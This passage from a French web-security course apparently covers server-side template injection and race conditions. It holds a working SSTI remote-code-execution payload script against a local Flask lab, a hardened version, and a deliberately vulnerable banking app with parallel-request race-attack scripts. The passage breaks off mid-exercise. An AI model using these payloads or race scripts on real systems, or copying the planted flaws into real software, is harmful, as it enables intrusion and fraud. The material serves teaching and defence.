    if 'uid=' in result:
        print(f"[OK] User info:")
        print(f"   {result}")
    else:
        print("[X] Command execution failed")
else:
    print("[X] RCE failed")

# Test 6: RCE - List files
print("\n6⃣  RCE - ls -la")
print("-" * 80)

payload = "{{config.__class__.__init__.__globals__['os'].popen('ls -la').read()}}"
response = requests.get(f"{BASE_URL}/greet?name={quote(payload)}")

match = re.search(r'<h1>Hello ([^<]+)', response.text)
if match:
    result = match.group(1).strip()
    if 'total' in result:
        print("[OK] Directory listing:")
        lines = result.split('\\n')[:10]
        for line in lines:
            if line.strip():
                print(f"   {line.strip()}")
    else:
        print("[X] Directory listing failed")

print("\n" + "=" * 80)
print("[ALERTE] CRITICAL: Full RCE achieved! Server completely compromised.")
print("=" * 80)
```

**Exécuter :**

```bash
python exploit_ssti.py
```

---

### PARTIE C : VERSION SÉCURISÉE

```python
# ssti_secure.py
from flask import Flask, request, render_template, escape
from markupsafe import Markup
import re

app = Flask(__name__)
app.config['SECRET_KEY'] = 'super_secret_key_12345'

# [OK] Whitelist de caractères autorisés
SAFE_NAME_PATTERN = re.compile(r'^[a-zA-Z0-9\s\-_.,!?]+$')

def is_safe_input(text, max_length=100):
    """
    [OK] Valide l'input utilisateur
    """
    if not text or len(text) > max_length:
        return False
    
    # [OK] Pas de caractères template
    dangerous_chars = ['{', '}', '%', '$', '<', '>']
    if any(char in text for char in dangerous_chars):
        return False
    
    # [OK] Whitelist pattern
    if not SAFE_NAME_PATTERN.match(text):
        return False
    
    return True

@app.route('/')
def index():
    return render_template('index_secure.html')

# [OK] ROUTE SÉCURISÉE 1 : Greeting
@app.route('/greet')
def greet_secure():
    """
    [OK] SÉCURISÉ : Template statique + paramètres
    """
    name = request.args.get('name', 'Guest')
    
    # [OK] Validation
    if not is_safe_input(name, max_length=50):
        return render_template('error.html', 
                             message="Invalid name format"), 400
    
    # [OK] Utiliser template statique avec paramètres
    return render_template('greet.html', name=name)

# [OK] ROUTE SÉCURISÉE 2 : Email Preview
@app.route('/email-preview', methods=['POST'])
def email_preview_secure():
    """
    [OK] SÉCURISÉ : Template statique, pas de construction dynamique
    """
    subject = request.form.get('subject', 'No Subject')
    body = request.form.get('body', 'No content')
    
    # [OK] Validation
    if not is_safe_input(subject, max_length=200):
        return render_template('error.html', 
                             message="Invalid subject"), 400
    
    if len(body) > 5000:
        return render_template('error.html', 
                             message="Body too long"), 400
    
    # [OK] Échappement automatique par Jinja2
    return render_template('email_preview.html', 
                         subject=subject, 
                         body=body)

# [OK] ROUTE SÉCURISÉE 3 : Product Description
@app.route('/product')
def product_secure():
    """
    [OK] SÉCURISÉ : Pas de template personnalisé par utilisateur
    """
    product_name = request.args.get('product_name', 'Product')
    
    # [OK] Validation
    if not is_safe_input(product_name, max_length=100):
        return render_template('error.html', 
                             message="Invalid product name"), 400
    
    # [OK] Template prédéfini, pas de personnalisation
    description = f"This {escape(product_name)} is an amazing product!"
    
    return render_template('product.html', 
                         product_name=product_name,
                         description=description)

if __name__ == '__main__':
    # Créer les templates
    import os
    os.makedirs('templates', exist_ok=True)
    
    # greet.html
    with open('templates/greet.html', 'w') as f:
        f.write('''
<!DOCTYPE html>
<html>
<head>
    <title>Greeting</title>
    <style>
        body { font-family: Arial; padding: 50px; background: linear-gradient(135deg, #10b981 0%, #059669 100%); color: white; }
        .result { background: rgba(255,255,255,0.1); padding: 30px; border-radius: 10px; }
    </style>
</head>
<body>
    <div class="result">
        <h1>Hello {{ name }}!</h1>
        <p>Welcome to our secure application.</p>
        <a href="/" style="color: white;"><- Back</a>
    </div>
</body>
</html>
        ''')
    
    # error.html
    with open('templates/error.html', 'w') as f:
        f.write('''
<!DOCTYPE html>
<html>
<head>
    <title>Error</title>
    <style>
        body { font-family: Arial; padding: 50px; background: #ff4444; color: white; }
        .error { background: rgba(0,0,0,0.3); padding: 30px; border-radius: 10px; }
    </style>
</head>
<body>
    <div class="error">
        <h1>[ATTENTION] Error</h1>
        <p>{{ message }}</p>
        <a href="/" style="color: white;"><- Back</a>
    </div>
</body>
</html>
        ''')
    
    print("[SECURITE]  SSTI SÉCURISÉ sur http://localhost:5001")
    print("[OK] Protections :")
    print("   1. Templates statiques uniquement")
    print("   2. Pas de render_template_string")
    print("   3. Validation whitelist")
    print("   4. Échappement automatique Jinja2")
    print("   5. Limitation longueur input")
    app.run(debug=False, port=5001)
```

---

## [GRAPHIQUE] RÉCAPITULATIF SSTI

### [OK] Protections essentielles

| Protection | Efficacité | Facilité |
|-----------|-----------|----------|
| Templates statiques uniquement | ***** | [OK] Facile |
| Jamais render_template_string | ***** | [OK] Facile |
| Validation whitelist stricte | ***** | [OK] Facile |
| Sandbox mode (si disponible) | **** | [ATTENTION] Moyen |
| WAF avec règles SSTI | **** | [ATTENTION] Moyen |

---

### [X] Erreurs critiques

- [X] Utiliser render_template_string avec input utilisateur
- [X] Construction dynamique de templates
- [X] Permettre {{, }}, {%, %} dans input
- [X] Pas de validation des données
- [X] Templates personnalisables par utilisateur

---

### [OBJECTIF] Checklist complète

```python
[OK] JAMAIS render_template_string avec données utilisateur
[OK] Templates statiques dans fichiers séparés
[OK] Validation stricte (whitelist alphanumeric)
[OK] Bloquer caractères template: {{ }} {% %}
[OK] Sandbox mode si template dynamique nécessaire
[OK] Principe du moindre privilège pour l'app
[OK] WAF avec règles anti-SSTI
[OK] Audit régulier du code
[OK] Monitoring des erreurs template
[OK] CSP headers
```

---

**Prêt pour Race Conditions ?** [TEMPS]

# 20. RACE CONDITIONS

## [DOCS] THÉORIE APPROFONDIE

### Qu'est-ce qu'une Race Condition ?

**Définition :**
Vulnérabilité qui se produit lorsque **plusieurs threads/processus accèdent simultanément à une ressource partagée** sans mécanisme de synchronisation approprié, causant un **comportement imprévisible et exploitable**.

**Analogie simple :**

Imagine un distributeur de billets :
1. Alice et Bob ont tous les deux une carte liée au même compte (100€)
2. Ils retirent 100€ **au même moment** sur deux distributeurs différents
3. Les deux distributeurs vérifient le solde : 100€ [OK]
4. Les deux distributeurs distribuent 100€ chacun
5. Résultat : 200€ retirés alors qu'il n'y avait que 100€ !

-> C'est une Race Condition !

---

### Types de Race Conditions

#### 1. **Time-of-Check to Time-of-Use (TOCTOU)**

**Principe :** Un délai exploitable entre la vérification et l'utilisation.

```python
# [X] VULNÉRABLE
def withdraw_money(user_id, amount):
    # STEP 1: Check (Time-of-Check)
    balance = get_balance(user_id)
    
    if balance >= amount:
        # [ALARM_CLOCK] WINDOW: Attaquant peut lancer une 2ème requête ICI
        time.sleep(0.1)  # Simuler traitement
        
        # STEP 2: Use (Time-of-Use)
        new_balance = balance - amount
        update_balance(user_id, new_balance)
        return True
    
    return False
```

**Exploitation :**

```python
# Thread 1 et Thread 2 exécutent simultanément
Thread 1: balance = 100  [OK] Check OK
Thread 2: balance = 100  [OK] Check OK
Thread 1: new_balance = 0   -> UPDATE
Thread 2: new_balance = 0   -> UPDATE
# Résultat: 200€ retirés au lieu de 100€
```

---

#### 2. **Check-Then-Act**

**Principe :** Action basée sur une condition qui peut changer entre la vérification et l'action.

```python
# [X] VULNÉRABLE
def use_coupon(user_id, coupon_code):
    # Check
    if not is_coupon_used(coupon_code):
        # [ALARM_CLOCK] WINDOW: Attaquant lance plusieurs requêtes
        
        # Act
        apply_discount()
        mark_coupon_as_used(coupon_code)
```

**Exploitation :** Utiliser le même coupon plusieurs fois en parallèle.

---

#### 3. **Read-Modify-Write**

**Principe :** Lecture -> Modification -> Écriture non atomique.

```python
# [X] VULNÉRABLE
def increment_counter():
    # Read
    count = get_counter()
    
    # Modify
    count += 1
    
    # [ALARM_CLOCK] WINDOW ICI
    
    # Write
    set_counter(count)
```

**Exploitation :**

```
Thread 1: read count=100
Thread 2: read count=100
Thread 1: count=101 -> write
Thread 2: count=101 -> write
# Résultat: counter=101 au lieu de 102
```

---

#### 4. **Voting/Limit Bypass**

**Principe :** Contourner les limites (votes, téléchargements, essais gratuits).

```python
# [X] VULNÉRABLE
def vote(user_id, post_id):
    votes_count = get_user_votes_today(user_id)
    
    if votes_count < 10:  # Limite 10 votes/jour
        # [ALARM_CLOCK] WINDOW
        add_vote(user_id, post_id)
        increment_vote_count(user_id)
```

**Exploitation :** Envoyer 100 requêtes simultanées -> Dépasser la limite.

---

#### 5. **Double Spending**

**Principe :** Dépenser le même crédit/token/monnaie plusieurs fois.

```python
# [X] VULNÉRABLE
def transfer_credits(from_user, to_user, amount):
    balance = get_credits(from_user)
    
    if balance >= amount:
        # [ALARM_CLOCK] WINDOW
        deduct_credits(from_user, amount)
        add_credits(to_user, amount)
```

---

### Cas réels

**1. Starbucks (2013) - Race Condition in Gift Cards**

**Faille :** Recharge de carte cadeau sans atomicité

**Exploitation :**
1. Carte avec 5$
2. Recharger 50$ et **immédiatement** utiliser 50$ en parallèle
3. Les deux transactions voient le solde avant l'autre se termine
4. Résultat : 50$ rechargés, 50$ dépensés, mais carte reste à 55$

**Impact :** Millions de dollars de pertes

---

**2. Bitcoin (2010) - Value Overflow Incident**

**Faille :** Race condition dans validation de transactions

**Exploitation :** Créer 184 milliards de Bitcoins

**Impact :** Hard fork nécessaire pour corriger

---

**3. GitHub (2012) - Race Condition in Private Repos**

**Faille :** Changement de visibilité repo non atomique

**Exploitation :**
1. Repo public -> privé
2. Pendant le changement, accéder au repo
3. Bypass de la restriction

---

**4. PayPal (2015) - Double Withdrawal**

**Faille :** Race condition dans retraits

**Exploitation :** Retirer le même montant 2+ fois simultanément

**Impact :** Bug bounty $10,000

---

### Conditions nécessaires pour exploitation

1. **Multithreading/Multiprocessing** : Application gère plusieurs requêtes simultanées
2. **Ressource partagée** : État partagé (DB, fichier, mémoire)
3. **Pas de synchronisation** : Absence de locks/transactions
4. **Window exploitable** : Délai entre check et act
5. **Timing précis** : Attaquant peut envoyer requêtes simultanées

---

## [CODE] EXERCICE 22 : RACE CONDITIONS

### Objectif

Créer une application bancaire avec :
- Transferts d'argent
- Coupons à usage unique
- Système de votes
- Téléchargements limités
- Démonstration de toutes les race conditions
- Protection avec locks et transactions

---

### PARTIE A : APPLICATION VULNÉRABLE

```python
# race_condition_vulnerable.py
from flask import Flask, request, jsonify, render_template_string
from flask_cors import CORS
import sqlite3
import time
import threading
from datetime import datetime

app = Flask(__name__)
CORS(app)

DB_FILE = 'bank_race.db'
db_lock = threading.Lock()  # [X] Présent mais pas utilisé !

def init_db():
    """Initialise la base de données"""
    conn = sqlite3.connect(DB_FILE)
    cursor = conn.cursor()
    
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS accounts (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            username TEXT UNIQUE NOT NULL,
            balance REAL DEFAULT 1000.00,
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
        )
    ''')
    
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS transactions (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            from_account INTEGER,
            to_account INTEGER,
            amount REAL,
            timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP
        )
    ''')
    
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS coupons (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            code TEXT UNIQUE NOT NULL,
            discount REAL,
            used BOOLEAN DEFAULT 0,
            used_by INTEGER,
            used_at TIMESTAMP
        )
    ''')
    
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS votes (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            user_id INTEGER,
            post_id INTEGER,
            timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP
        )
    ''')
    
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS downloads (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            user_id INTEGER,
            file_id INTEGER,
            timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP
        )
    ''')
    
    # Créer comptes de test
    accounts = [
        ('alice', 1000.00),
        ('bob', 500.00),
        ('charlie', 2000.00)
    ]
    
    for username, balance in accounts:
        try:
            cursor.execute('INSERT INTO accounts (username, balance) VALUES (?, ?)', 
                         (username, balance))
        except sqlite3.IntegrityError:
            pass
    
    # Créer coupons
    coupons = ['SAVE10', 'SAVE20', 'SAVE50', 'WELCOME100']
    for code in coupons:
        try:
            discount = int(code.replace('SAVE', '').replace('WELCOME', ''))
            cursor.execute('INSERT INTO coupons (code, discount) VALUES (?, ?)', 
                         (code, discount))
        except:
            pass
    
    conn.commit()
    conn.close()

init_db()

@app.route('/')
def index():
    return render_template_string('''
<!DOCTYPE html>
<html>
<head>
    <title>Race Condition Demo</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            padding: 20px;
            color: white;
        }
        .container { max-width: 1400px; margin: 0 auto; }
        .header {
            background: rgba(0,0,0,0.6);
            padding: 30px;
            border-radius: 10px;
            margin-bottom: 30px;
            text-align: center;
        }
        .warning {
            background: #ff4444;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            font-weight: bold;
        }
        .grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(350px, 1fr));
            gap: 20px;
            margin-bottom: 30px;
        }
        .card {
            background: rgba(255,255,255,0.1);
            backdrop-filter: blur(10px);
            padding: 25px;
            border-radius: 10px;
        }
        .card h3 { margin-bottom: 15px; color: #ffd700; }
        input, select {
            width: 100%;
            padding: 12px;
            margin-bottom: 15px;
            border: 2px solid rgba(255,255,255,0.3);
            border-radius: 5px;
            background: rgba(0,0,0,0.3);
            color: white;
        }
        button {
            width: 100%;
            padding: 12px;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            border: none;
            border-radius: 5px;
            color: white;
            font-weight: bold;
            cursor: pointer;
            margin-bottom: 10px;
        }
        button:hover { transform: translateY(-2px); }
        .output {
            background: rgba(0,0,0,0.7);
            padding: 20px;
            border-radius: 10px;
            min-height: 150px;
            font-family: 'Courier New', monospace;
            white-space: pre-wrap;
        }
        .attacks {
            background: rgba(255,68,68,0.2);
            border: 2px solid #ff4444;
            padding: 20px;
            border-radius: 10px;
        }
        .attacks h2 { color: #ff4444; margin-bottom: 15px; }
        .attack-item {
            background: rgba(0,0,0,0.3);
            padding: 15px;
            margin: 10px 0;
            border-radius: 5px;
        }
        code {
            background: rgba(0,0,0,0.5);
            padding: 2px 6px;
            border-radius: 3px;
        }
        .balance {
            font-size: 1.5em;
            color: #4ade80;
            font-weight: bold;
            margin: 10px 0;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1>[BANQUE] Banking System</h1>
            <p>Race Condition Vulnerability Demo</p>
        </div>
        
        <div class="warning">
            [ATTENTION] APPLICATION VULNÉRABLE - RACE CONDITIONS POSSIBLES
        </div>
        
        <div class="grid">
            <!-- ACCOUNT INFO -->
            <div class="card">
                <h3>[ARGENT] Account Balance</h3>
                <select id="account-select">
                    <option value="1">Alice (ID: 1)</option>
                    <option value="2">Bob (ID: 2)</option>
                    <option value="3">Charlie (ID: 3)</option>
                </select>
                <button onclick="checkBalance()">Check Balance</button>
                <div id="balance-display"></div>
            </div>
            
            <!-- TRANSFER -->
            <div class="card">
                <h3>[ARGENT] Transfer Money</h3>
                <input type="number" id="from-account" placeholder="From Account ID" value="1">
                <input type="number" id="to-account" placeholder="To Account ID" value="2">
                <input type="number" id="amount" placeholder="Amount" value="100">
                <button onclick="transfer()">Transfer</button>
                <button onclick="raceTransfer()">[ALERTE] Race Attack (10x)</button>
            </div>
            
            <!-- COUPON -->
            <div class="card">
                <h3>[ADMISSION_TICKETS] Use Coupon</h3>
                <input type="text" id="coupon-code" placeholder="Coupon Code" value="SAVE50">
                <input type="number" id="coupon-user" placeholder="User ID" value="1">
                <button onclick="useCoupon()">Use Coupon</button>
                <button onclick="raceCoupon()">[ALERTE] Race Attack (10x)</button>
            </div>
            
            <!-- VOTE -->
            <div class="card">
                <h3>[BIEN] Vote System</h3>
                <input type="number" id="vote-user" placeholder="User ID" value="1">
                <input type="number" id="vote-post" placeholder="Post ID" value="100">
                <button onclick="vote()">Vote</button>
                <button onclick="raceVote()">[ALERTE] Race Attack (20x)</button>
                <p style="font-size: 0.9em; margin-top: 10px;">Limit: 10 votes/day per user</p>
            </div>
            
            <!-- DOWNLOAD -->
            <div class="card">
                <h3>[ENTREE] Download File</h3>
                <input type="number" id="download-user" placeholder="User ID" value="1">
                <input type="number" id="download-file" placeholder="File ID" value="42">
                <button onclick="download()">Download</button>
                <button onclick="raceDownload()">[ALERTE] Race Attack (15x)</button>
                <p style="font-size: 0.9em; margin-top: 10px;">Limit: 5 downloads/day</p>
            </div>
        </div>
        
        <div class="card">
            <h3>[GRAPHIQUE] Output Log</h3>
            <div class="output" id="output">Results will appear here...</div>
        </div>
        
        <div class="attacks">
            <h2>[DANGER] Race Condition Attack Vectors</h2>
            
            <div class="attack-item">
                <h4>1. TOCTOU - Double Withdrawal</h4>
                <p>Transfer same amount multiple times before balance updates</p>
                <p>Expected: 1 transfer of 100€</p>
                <p>Actual: 10 transfers of 100€ (1000€ total) due to race condition</p>
            </div>
            
            <div class="attack-item">
                <h4>2. Check-Then-Act - Coupon Reuse</h4>
                <p>Use single-use coupon multiple times simultaneously</p>
                <p>Expected: 1 discount</p>
                <p>Actual: 10 discounts from same coupon</p>
            </div>
            
            <div class="attack-item">
                <h4>3. Limit Bypass - Vote Manipulation</h4>
                <p>Bypass 10 votes/day limit with parallel requests</p>
                <p>Expected: 10 votes</p>
                <p>Actual: 20+ votes due to race condition</p>
            </div>
            
            <div class="attack-item">
                <h4>4. Limit Bypass - Download Quota</h4>
                <p>Bypass 5 downloads/day limit</p>
                <p>Expected: 5 downloads</p>
                <p>Actual: 15 downloads in parallel</p>
            </div>
        </div>
    </div>
    
    <script>
        async function checkBalance() {
            const accountId = document.getElementById('account-select').value;
            const output = document.getElementById('output');
            const display = document.getElementById('balance-display');
            
            try {
                const response = await fetch(`/api/balance/${accountId}`);
                const data = await response.json();
                
                display.innerHTML = `
                    <div class="balance">$${data.balance.toFixed(2)}</div>
                    <p>Account: ${data.username}</p>
                `;
                
                output.textContent = JSON.stringify(data, null, 2);
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function transfer() {
            const fromAccount = document.getElementById('from-account').value;
            const toAccount = document.getElementById('to-account').value;
            const amount = document.getElementById('amount').value;
            const output = document.getElementById('output');
            
            try {
                const response = await fetch('/api/transfer', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ from_account: fromAccount, to_account: toAccount, amount: parseFloat(amount) })
                });
                
                const data = await response.json();
                output.textContent = JSON.stringify(data, null, 2);
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function raceTransfer() {
            const fromAccount = document.getElementById('from-account').value;
            const toAccount = document.getElementById('to-account').value;
            const amount = document.getElementById('amount').value;
            const output = document.getElementById('output');
            
            output.textContent = '[ALERTE] Launching race condition attack...\\n\\n';
            
            // Lancer 10 requêtes simultanées
            const promises = [];
            for (let i = 0; i < 10; i++) {
                promises.push(
                    fetch('/api/transfer', {
                        method: 'POST',
                        headers: { 'Content-Type': 'application/json' },
                        body: JSON.stringify({ from_account: fromAccount, to_account: toAccount, amount: parseFloat(amount) })
                    })
                );
            }
            
            const results = await Promise.all(promises);
            const data = await Promise.all(results.map(r => r.json()));
            
            const successful = data.filter(d => d.success).length;
            
            output.textContent += `Results:\\n`;
            output.textContent += `- Successful transfers: ${successful}\\n`;
            output.textContent += `- Expected: 1\\n`;
            output.textContent += `- Amount per transfer: $${amount}\\n`;
            output.textContent += `- Total transferred: $${successful * amount}\\n\\n`;
            
            if (successful > 1) {
                output.textContent += '[OK] RACE CONDITION EXPLOITED!\\n';
                output.textContent += `Double-spending detected: ${successful}x transfers instead of 1!`;
            } else {
                output.textContent += '[X] Race condition not triggered (try again)';
            }
            
            // Refresh balance
            setTimeout(checkBalance, 500);
        }
        
        async function useCoupon() {
            const code = document.getElementById('coupon-code').value;
            const userId = document.getElementById('coupon-user').value;
            const output = document.getElementById('output');
            
            try {
                const response = await fetch('/api/coupon', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ code, user_id: userId })
                });
                
                const data = await response.json();
                output.textContent = JSON.stringify(data, null, 2);
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function raceCoupon() {
            const code = document.getElementById('coupon-code').value;
            const userId = document.getElementById('coupon-user').value;
            const output = document.getElementById('output');
            
            output.textContent = '[ALERTE] Launching coupon race attack...\\n\\n';
            
            const promises = [];
            for (let i = 0; i < 10; i++) {
                promises.push(
                    fetch('/api/coupon', {
                        method: 'POST',
                        headers: { 'Content-Type': 'application/json' },
                        body: JSON.stringify({ code, user_id: userId })
                    })
                );
            }
            
            const results = await Promise.all(promises);
            const data = await Promise.all(results.map(r => r.json()));
            
            const successful = data.filter(d => d.success).length;
            
            output.textContent += `Results:\\n`;
            output.textContent += `- Successful uses: ${successful}\\n`;
            output.textContent += `- Expected: 1 (single-use coupon)\\n\\n`;
            
            if (successful > 1) {
                output.textContent += '[OK] RACE CONDITION EXPLOITED!\\n';
                output.textContent += `Coupon used ${successful}x instead of 1!`;
            }
        }
        
        async function vote() {
            const userId = document.getElementById('vote-user').value;
            const postId = document.getElementById('vote-post').value;
            const output = document.getElementById('output');
            
            try {
                const response = await fetch('/api/vote', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ user_id: userId, post_id: postId })
                });
                
                const data = await response.json();
                output.textContent = JSON.stringify(data, null, 2);
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function raceVote() {
            const userId = document.getElementById('vote-user').value;
            const postId = document.getElementById('vote-post').value;
            const output = document.getElementById('output');
            
            output.textContent = '[ALERTE] Launching vote race attack...\\n\\n';
            
            const promises = [];
            for (let i = 0; i < 20; i++) {
                promises.push(
                    fetch('/api/vote', {
                        method: 'POST',
                        headers: { 'Content-Type': 'application/json' },
                        body: JSON.stringify({ user_id: userId, post_id: postId })
                    })
                );
            }
            
            const results = await Promise.all(promises);
            const data = await Promise.all(results.map(r => r.json()));
            
            const successful = data.filter(d => d.success).length;
            
            output.textContent += `Results:\\n`;
            output.textContent += `- Successful votes: ${successful}\\n`;
            output.textContent += `- Limit: 10 votes/day\\n\\n`;
            
            if (successful > 10) {
                output.textContent += '[OK] RACE CONDITION EXPLOITED!\\n';
                output.textContent += `Bypassed limit: ${successful} votes instead of 10 max!`;
            }
        }
        
        async function download() {
            const userId = document.getElementById('download-user').value;
            const fileId = document.getElementById('download-file').value;
            const output = document.getElementById('output');
            
            try {
                const response = await fetch('/api/download', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ user_id: userId, file_id: fileId })
                });
                
                const data = await response.json();
                output.textContent = JSON.stringify(data, null, 2);
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function raceDownload() {
            const userId = document.getElementById('download-user').value;
            const fileId = document.getElementById('download-file').value;
            const output = document.getElementById('output');
            
            output.textContent = '[ALERTE] Launching download race attack...\\n\\n';
            
            const promises = [];
            for (let i = 0; i < 15; i++) {
                promises.push(
                    fetch('/api/download', {
                        method: 'POST',
                        headers: { 'Content-Type': 'application/json' },
                        body: JSON.stringify({ user_id: userId, file_id: fileId })
                    })
                );
            }
            
            const results = await Promise.all(promises);
            const data = await Promise.all(results.map(r => r.json()));
            
            const successful = data.filter(d => d.success).length;
            
            output.textContent += `Results:\\n`;
            output.textContent += `- Successful downloads: ${successful}\\n`;
            output.textContent += `- Limit: 5 downloads/day\\n\\n`;
            
            if (successful > 5) {
                output.textContent += '[OK] RACE CONDITION EXPLOITED!\\n';
                output.textContent += `Bypassed limit: ${successful} downloads instead of 5 max!`;
            }
        }
        
        // Initial balance check
        checkBalance();
    </script>
</body>
</html>
    ''')

# [X] ROUTE VULNÉRABLE 1 : Balance
@app.route('/api/balance/<int:account_id>')
def get_balance(account_id):
    """Get account balance"""
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute('SELECT * FROM accounts WHERE id = ?', (account_id,))
    account = cursor.fetchone()
    conn.close()
    
    if not account:
        return jsonify({'error': 'Account not found'}), 404
    
    return jsonify({
        'id': account['id'],
        'username': account['username'],
        'balance': account['balance']
    })

# [X] ROUTE VULNÉRABLE 2 : Transfer (TOCTOU)
@app.route('/api/transfer', methods=['POST'])
def transfer_vulnerable():
    """
    [X] VULNÉRABLE : TOCTOU Race Condition
    """
    data = request.json
    from_account = data.get('from_account')
    to_account = data.get('to_account')
    amount = data.get('amount')
    
    # [X] Pas de lock !
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    # STEP 1: Check (Time-of-Check)
    cursor.execute('SELECT balance FROM accounts WHERE id = ?', (from_account,))
    sender = cursor.fetchone()
    
    if not sender or sender['balance'] < amount:
        conn.close()
        return jsonify({'success': False, 'error': 'Insufficient funds'}), 400
    
    # [ALARM_CLOCK] WINDOW: Race condition possible ICI
    time.sleep(0.01)  # Simuler traitement
    
    # STEP 2: Use (Time-of-Use)
    new_balance = sender['balance'] - amount
    
    cursor.execute('UPDATE accounts SET balance = ? WHERE id = ?', 
                   (new_balance, from_account))
    
    cursor.execute('UPDATE accounts SET balance = balance + ? WHERE id = ?',
                   (amount, to_account))
    
    cursor.execute('''
        INSERT INTO transactions (from_account, to_account, amount)
        VALUES (?, ?, ?)
    ''', (from_account, to_account, amount))
    
    conn.commit()
    conn.close()
    
    return jsonify({
        'success': True,
        'message': f'Transferred ${amount}',
        'new_balance': new_balance
    })

# [X] ROUTE VULNÉRABLE 3 : Coupon (Check-Then-Act)
@app.route('/api/coupon', methods=['POST'])
def use_coupon_vulnerable():
    """
    [X] VULNÉRABLE : Check-Then-Act Race Condition
    """
    data = request.json
    code = data.get('code')
    user_id = data.get('user_id')
    
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    # Check if coupon exists and not used
    cursor.execute('SELECT * FROM coupons WHERE code = ?', (code,))
    coupon = cursor.fetchone()
    
    if not coupon:
        conn.close()
        return jsonify({'success': False, 'error': 'Invalid coupon'}), 404
    
    if coupon['used']:
        conn.close()
        return jsonify({'success': False, 'error': 'Coupon already used'}), 400
    
    # [ALARM_CLOCK] WINDOW: Race condition ICI
    time.sleep(0.01)
    
    # Mark as used
    cursor.execute('''
        UPDATE coupons 
        SET used = 1, used_by = ?, used_at = ?
        WHERE code = ?
    ''', (user_id, datetime.now(), code))
    
    # Apply discount
    cursor.execute('''
        UPDATE accounts 
        SET balance = balance + ?
        WHERE id = ?
    ''', (coupon['discount'], user_id))
    
    conn.commit()
    conn.close()
    
    return jsonify({
        'success': True,
        'message': f'Applied discount ${coupon["discount"]}',
        'discount': coupon['discount']
    })

# [X] ROUTE VULNÉRABLE 4 : Vote (Limit Bypass)
@app.route('/api/vote', methods=['POST'])
def vote_vulnerable():
    """
    [X] VULNÉRABLE : Limit Bypass Race Condition
    """
    data = request.json
    user_id = data.get('user_id')
    post_id = data.get('post_id')
    
    conn = sqlite3.connect(DB_FILE)
    cursor = conn.cursor()
    
    # Check today's votes
    cursor.execute('''
        SELECT COUNT(*) as count 
        FROM votes 
        WHERE user_id = ? 
        AND date(timestamp) = date('now')
    ''', (user_id,))
    
    votes_today = cursor.fetchone()[0]
    
    if votes_today >= 10:
        conn.close()
        return jsonify({'success': False, 'error': 'Daily limit reached (10 votes)'}), 429
    
    # [ALARM_CLOCK] WINDOW: Race condition ICI
    time.sleep(0.01)
    
    # Add vote
    cursor.execute('''
        INSERT INTO votes (user_id, post_id)
        VALUES (?, ?)
    ''', (user_id, post_id))
    
    conn.commit()
    conn.close()
    
    return jsonify({
        'success': True,
        'message': 'Vote recorded',
        'votes_today': votes_today + 1
    })

# [X] ROUTE VULNÉRABLE 5 : Download (Limit Bypass)
@app.route('/api/download', methods=['POST'])
def download_vulnerable():
    """
    [X] VULNÉRABLE : Download Limit Bypass
    """
    data = request.json
    user_id = data.get('user_id')
    file_id = data.get('file_id')
    
    conn = sqlite3.connect(DB_FILE)
    cursor = conn.cursor()
    
    # Check today's downloads
    cursor.execute('''
        SELECT COUNT(*) as count 
        FROM downloads 
        WHERE user_id = ? 
        AND date(timestamp) = date('now')
    ''', (user_id,))
    
    downloads_today = cursor.fetchone()[0]
    
    if downloads_today >= 5:
        conn.close()
        return jsonify({'success': False, 'error': 'Daily limit reached (5 downloads)'}), 429
    
    # [ALARM_CLOCK] WINDOW
    time.sleep(0.01)
    
    # Record download
    cursor.execute('''
        INSERT INTO downloads (user_id, file_id)
        VALUES (?, ?)
    ''', (user_id, file_id))
    
    conn.commit()
    conn.close()
    
    return jsonify({
        'success': True,
        'message': 'Download started',
        'downloads_today': downloads_today + 1
    })

if __name__ == '__main__':
    print("[RAPIDE] Race Condition (VULNÉRABLE) sur http://localhost:5000")
    print("[ATTENTION]  DANGER : Multiple Race Conditions !")
    print("\n[DANGER] Vulnérabilités :")
    print("   1. TOCTOU - Double withdrawal")
    print("   2. Check-Then-Act - Coupon reuse")
    print("   3. Limit bypass - Vote manipulation")
    print("   4. Limit bypass - Download quota")
    print("   5. No synchronization mechanisms")
    
    # Utiliser threaded mode pour permettre requêtes simultanées
    app.run(debug=True, port=5000, threaded=True)
```

---

### PARTIE B : TESTER LES ATTAQUES

**1. Lancer l'application :**

```bash
python race_condition_vulnerable.py
```

**2. Ouvrir http://localhost:5000**

**3. Test Attack 1 - Double Withdrawal :**

